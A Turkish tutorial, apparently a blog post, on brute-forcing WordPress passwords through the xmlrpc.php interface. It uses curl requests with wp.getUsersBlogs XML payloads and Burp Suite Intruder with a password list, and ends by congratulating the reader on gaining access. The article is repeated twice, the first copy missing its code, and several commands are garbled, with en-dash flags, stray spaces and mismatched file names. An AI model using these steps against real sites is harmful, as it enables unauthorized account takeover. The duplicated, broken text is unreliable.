BurpSuite aracılığıyla WordPress XMLRPC BruteForce Saldırısı
Günümüzde BruteForce saldırıları, internette sunucular ve uygulamalar üzerinde çok yaygındır. Muhtemelen çevrimiçi bir sunucunuz varsa, bu tür saldırıları sunucu günlükleriniz aracılığıyla görebilirsiniz. En yaygın saldırı yüzeyleri ssh hizmeti, web sunucusu veya web sayfanızdaki kimlik doğrulama formu (uygulama tabanlı saldırı) olabilir.
WordPress iyi bilinen bir CMS'dir (İçerik Yönetim Sistemi), BruteForce saldırıları çok yaygındır ve genellikle saldırganlar kimlik doğrulama formunu kullanır, ancak kötü niyetli adamların bunu yapabilmesinin tek yolu bu değildir.
XML-RPC arayüzü nedir?
Tanım
«Farklı işletim sistemlerinde, farklı ortamlarda çalışan yazılımların İnternet üzerinden prosedür çağrıları yapmasına izin veren bir belirtim ve bir dizi uygulamadır.
Aktarım olarak HTTP ve kodlama olarak XML kullanarak çağrı yapan uzak prosedürdür. XML-RPC, karmaşık veri yapılarının iletilmesine, işlenmesine ve döndürülmesine izin verirken mümkün olduğu kadar basit olacak şekilde tasarlanmıştır.»
XML-RPC işlevselliği, WordPress 3.5'ten beri varsayılan olarak açıktır, ancak tüm WordPress yöneticileri bu işlevi ve bu yardımcı programı bilmez, bu nedenle, XML-RPC arayüzünü düzgün bir şekilde korumazlar.
Tamam, o zaman soru şu, neden WordPress bu arayüzü kullanıyor?
Temel olarak, WordPress bu arayüzü, web günlüğü istemcilerini veya e-posta uygulamalarını kullanarak doğrudan blogunuza göndermek ve geri ping ve geri izleme işlevi için kullanır.
WordPress'te oturum açma formu aracılığıyla kaba kuvvet saldırılarını önlemek için kullanabileceğiniz pek çok eklenti vardır, ancak XML-RPC arayüzü aracılığıyla bu tür saldırılardan kaçınmak biraz daha karmaşıktır. Bunu yapmak için .htaccess dosyasını değiştirmeniz ve XML-RPC arayüzünü devre dışı bırakmanız gerekir (eğer kullanmak istemiyorsanız).
Bu yazıda, WordPress XML-RPC arayüzüne karşı BruteForce saldırılarının nasıl gerçekleştirileceğini ele alacağım.
XML-RPC arayüzüne karşı yapabileceğimiz BruteForce saldırısı vardır.
– Basit kaba kuvvet saldırısı : Her istekte bir kullanıcı ve bir parola deneyebilirsiniz
– WordPress'in 3.5.1 sürümüne kadar mevcut olan güçlendirme BruteForce : Her istekte birden fazla kullanıcı ve parola deneyebilirsiniz.
Saldırı ( Basit kaba kuvvet saldırısı )
WordPress'te XML-RPC arayüzünün etkinleştirilip etkinleştirilmediğini kontrol etmek için aşağıdaki URL'yi kullanabilirsiniz:
– http://url/xmlrpc.php
Bunu tarayıcınızda görüyorsanız, xmlrpc.php arayüzünün etkin olduğu anlamına gelir.
Sonraki adımda, doğrudan WordPress API ile etkileşimin mümkün olup olmadığını kontrol edeceğiz. Bunu yapmak için, WordPress'in POST isteğini kabul edip etmediğini kontrol etmek için bir dosya oluşturmalıyız.
vim merhaba.txt
Aşağıdaki XML kodunu dosyaya yazın:
xmlrpc.php dosyası , kendisine bir POST isteği olarak gönderilen geçerli XML'e ihtiyaç duyar. Bunu Linux'ta yapmanın en kolay yolu CURL kullanmaktır. Aşağıdaki komut ' demo.sayHello.txt ' dosyasında bulunan XML'i bir POST isteği olarak uzak WordPress API'sine gönderecektir:
curl –data @ hello.txt http://url/ xmlrpc.php
Beklenen sunucu yanıtı aşağıdaki gibi görünmelidir:
Şimdiye kadar WordPress'te API çağrıları yapabildiğimizi kontrol ettik. Amacımıza ulaşmak için başka bir API çağrısı kullanacağız, kaba kuvvet saldırısı yaparak geçerli bir kullanıcı ve şifre elde edeceğiz.
Kullanacağımız yöntem wp.getUsersBlogs'dur.
Öncelikle, API yöntemini çağırmak için geçerli XML koduyla bir dosya oluşturmamız gerekiyor.
vim getusers.txt
Dosya bu kodu içermelidir
Ardından, kullanıcı ve şifrenin doğru olup olmadığını kontrol etmek için yöntemi çağırmalıyız.
curl –data @ getusers.txt http://url/xmlrpc.php
Gördüğümüz gibi, aşağıdaki gibi API bize API çağrısının sonucuyla yanıt veriyor.
Bu noktada, kimlik bilgilerinin geçerli olup olmadığını XML-RPC arabirimi aracılığıyla nasıl kontrol edeceğimizi biliyoruz, ancak bu şekilde yapılması sıkıcı bir iştir.
Amacımız, isteği bir web proxy'sinde durdurmak (burp paketini kullanacağız) ve görevi otomatikleştirmek.
API çağrısını yapmak için daha önce gördüğümüz gibi curl kullanıyoruz, saldırıyı otomatikleştirmek istiyorsak curl'u isteği web proxy'si aracılığıyla gönderecek şekilde yapılandırmalıyız.
curl –data @ getusers.txt http://url/xmlrpc.php –proxy localhost:8080
Bir önceki komut ile web proxy üzerinden request göndereceğiz ve brute force saldırımızı başlatabileceğiz.
İsteği burpsuite ile durdurun
Bu noktada bir sonraki adım, isteği BurpSuite'teki Intruder modülüne göndermektir, bu modül saldırıyı otomatikleştirmemize izin verecektir.
Saldırıyı yapmak istediğimiz parametreleri seçmeliyiz, bu durumda odağı ikinci parametreye (şifre) koyacağız.
Yük için konumu seçin
Adım adım, kullanmak istediğimiz payload'ları seçmeliyiz, resimde gördüğünüz gibi bir şifre listesi kullanacağız.
Bundan sonra, sadece «Start attack» düğmesine tıklamamız gerekiyor.
Yük dosyasını seçin
Son olarak, sadece parmaklarımızı çaprazlamamız ve sonuçları görmek için biraz beklememiz gerekiyor.
Doğru kimlik bilgilerini alın
Şanslıysanız, kimlik bilgilerini alacaksınız ve bundan sonra sisteme erişebilirsiniz. Tebrikler!
Günümüzde BruteForce saldırıları, internette sunucular ve uygulamalar üzerinde çok yaygındır. Muhtemelen çevrimiçi bir sunucunuz varsa, bu tür saldırıları sunucu günlükleriniz aracılığıyla görebilirsiniz. En yaygın saldırı yüzeyleri ssh hizmeti, web sunucusu veya web sayfanızdaki kimlik doğrulama formu (uygulama tabanlı saldırı) olabilir.
WordPress iyi bilinen bir CMS'dir (İçerik Yönetim Sistemi), BruteForce saldırıları çok yaygındır ve genellikle saldırganlar kimlik doğrulama formunu kullanır, ancak kötü niyetli adamların bunu yapabilmesinin tek yolu bu değildir.
XML-RPC arayüzü nedir?
Tanım
«Farklı işletim sistemlerinde, farklı ortamlarda çalışan yazılımların İnternet üzerinden prosedür çağrıları yapmasına izin veren bir belirtim ve bir dizi uygulamadır.
Aktarım olarak HTTP ve kodlama olarak XML kullanarak çağrı yapan uzak prosedürdür. XML-RPC, karmaşık veri yapılarının iletilmesine, işlenmesine ve döndürülmesine izin verirken mümkün olduğu kadar basit olacak şekilde tasarlanmıştır.»
XML-RPC işlevselliği, WordPress 3.5'ten beri varsayılan olarak açıktır, ancak tüm WordPress yöneticileri bu işlevi ve bu yardımcı programı bilmez, bu nedenle, XML-RPC arayüzünü düzgün bir şekilde korumazlar.
Tamam, o zaman soru şu, neden WordPress bu arayüzü kullanıyor?
Temel olarak, WordPress bu arayüzü, web günlüğü istemcilerini veya e-posta uygulamalarını kullanarak doğrudan blogunuza göndermek ve geri ping ve geri izleme işlevi için kullanır.
WordPress'te oturum açma formu aracılığıyla kaba kuvvet saldırılarını önlemek için kullanabileceğiniz pek çok eklenti vardır, ancak XML-RPC arayüzü aracılığıyla bu tür saldırılardan kaçınmak biraz daha karmaşıktır. Bunu yapmak için .htaccess dosyasını değiştirmeniz ve XML-RPC arayüzünü devre dışı bırakmanız gerekir (eğer kullanmak istemiyorsanız).
Bu yazıda, WordPress XML-RPC arayüzüne karşı BruteForce saldırılarının nasıl gerçekleştirileceğini ele alacağım.
XML-RPC arayüzüne karşı yapabileceğimiz BruteForce saldırısı vardır.
– Basit kaba kuvvet saldırısı : Her istekte bir kullanıcı ve bir parola deneyebilirsiniz
– WordPress'in 3.5.1 sürümüne kadar mevcut olan güçlendirme BruteForce : Her istekte birden fazla kullanıcı ve parola deneyebilirsiniz.
Saldırı ( Basit kaba kuvvet saldırısı )
WordPress'te XML-RPC arayüzünün etkinleştirilip etkinleştirilmediğini kontrol etmek için aşağıdaki URL'yi kullanabilirsiniz:
– http://url/xmlrpc.php
Bunu tarayıcınızda görüyorsanız, xmlrpc.php arayüzünün etkin olduğu anlamına gelir.
Sonraki adımda, doğrudan WordPress API ile etkileşimin mümkün olup olmadığını kontrol edeceğiz. Bunu yapmak için, WordPress'in POST isteğini kabul edip etmediğini kontrol etmek için bir dosya oluşturmalıyız.
vim merhaba.txt
Aşağıdaki XML kodunu dosyaya yazın:
Kod:
<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>demo.sayHello</methodName>
<params>
<param><value></value></param>
<param><value></value></param>
</params>
</methodCall>
xmlrpc.php dosyası , kendisine bir POST isteği olarak gönderilen geçerli XML'e ihtiyaç duyar. Bunu Linux'ta yapmanın en kolay yolu CURL kullanmaktır. Aşağıdaki komut ' demo.sayHello.txt ' dosyasında bulunan XML'i bir POST isteği olarak uzak WordPress API'sine gönderecektir:
curl –data @ hello.txt http://url/ xmlrpc.php
Beklenen sunucu yanıtı aşağıdaki gibi görünmelidir:
Kod:
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<string>Hello!</string>
</value>
</param>
</params>
</methodResponse>
Şimdiye kadar WordPress'te API çağrıları yapabildiğimizi kontrol ettik. Amacımıza ulaşmak için başka bir API çağrısı kullanacağız, kaba kuvvet saldırısı yaparak geçerli bir kullanıcı ve şifre elde edeceğiz.
Kullanacağımız yöntem wp.getUsersBlogs'dur.
Öncelikle, API yöntemini çağırmak için geçerli XML koduyla bir dosya oluşturmamız gerekiyor.
vim getusers.txt
Dosya bu kodu içermelidir
Kod:
<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>administrator</value></param>
<param><value>admin</value></param>
</params>
</methodCall>
Ardından, kullanıcı ve şifrenin doğru olup olmadığını kontrol etmek için yöntemi çağırmalıyız.
curl –data @ getusers.txt http://url/xmlrpc.php
Gördüğümüz gibi, aşağıdaki gibi API bize API çağrısının sonucuyla yanıt veriyor.
Kod:
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>403</int></value>
</member>
<member>
<name>faultString</name>
<value><string>Incorrect username or password.</string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
Bu noktada, kimlik bilgilerinin geçerli olup olmadığını XML-RPC arabirimi aracılığıyla nasıl kontrol edeceğimizi biliyoruz, ancak bu şekilde yapılması sıkıcı bir iştir.
Amacımız, isteği bir web proxy'sinde durdurmak (burp paketini kullanacağız) ve görevi otomatikleştirmek.
API çağrısını yapmak için daha önce gördüğümüz gibi curl kullanıyoruz, saldırıyı otomatikleştirmek istiyorsak curl'u isteği web proxy'si aracılığıyla gönderecek şekilde yapılandırmalıyız.
curl –data @ getusers.txt http://url/xmlrpc.php –proxy localhost:8080
Bir önceki komut ile web proxy üzerinden request göndereceğiz ve brute force saldırımızı başlatabileceğiz.
İsteği burpsuite ile durdurun
Bu noktada bir sonraki adım, isteği BurpSuite'teki Intruder modülüne göndermektir, bu modül saldırıyı otomatikleştirmemize izin verecektir.
Saldırıyı yapmak istediğimiz parametreleri seçmeliyiz, bu durumda odağı ikinci parametreye (şifre) koyacağız.
Yük için konumu seçin
Adım adım, kullanmak istediğimiz payload'ları seçmeliyiz, resimde gördüğünüz gibi bir şifre listesi kullanacağız.
Bundan sonra, sadece «Start attack» düğmesine tıklamamız gerekiyor.
Yük dosyasını seçin
Son olarak, sadece parmaklarımızı çaprazlamamız ve sonuçları görmek için biraz beklememiz gerekiyor.
Doğru kimlik bilgilerini alın
Şanslıysanız, kimlik bilgilerini alacaksınız ve bundan sonra sisteme erişebilirsiniz. Tebrikler!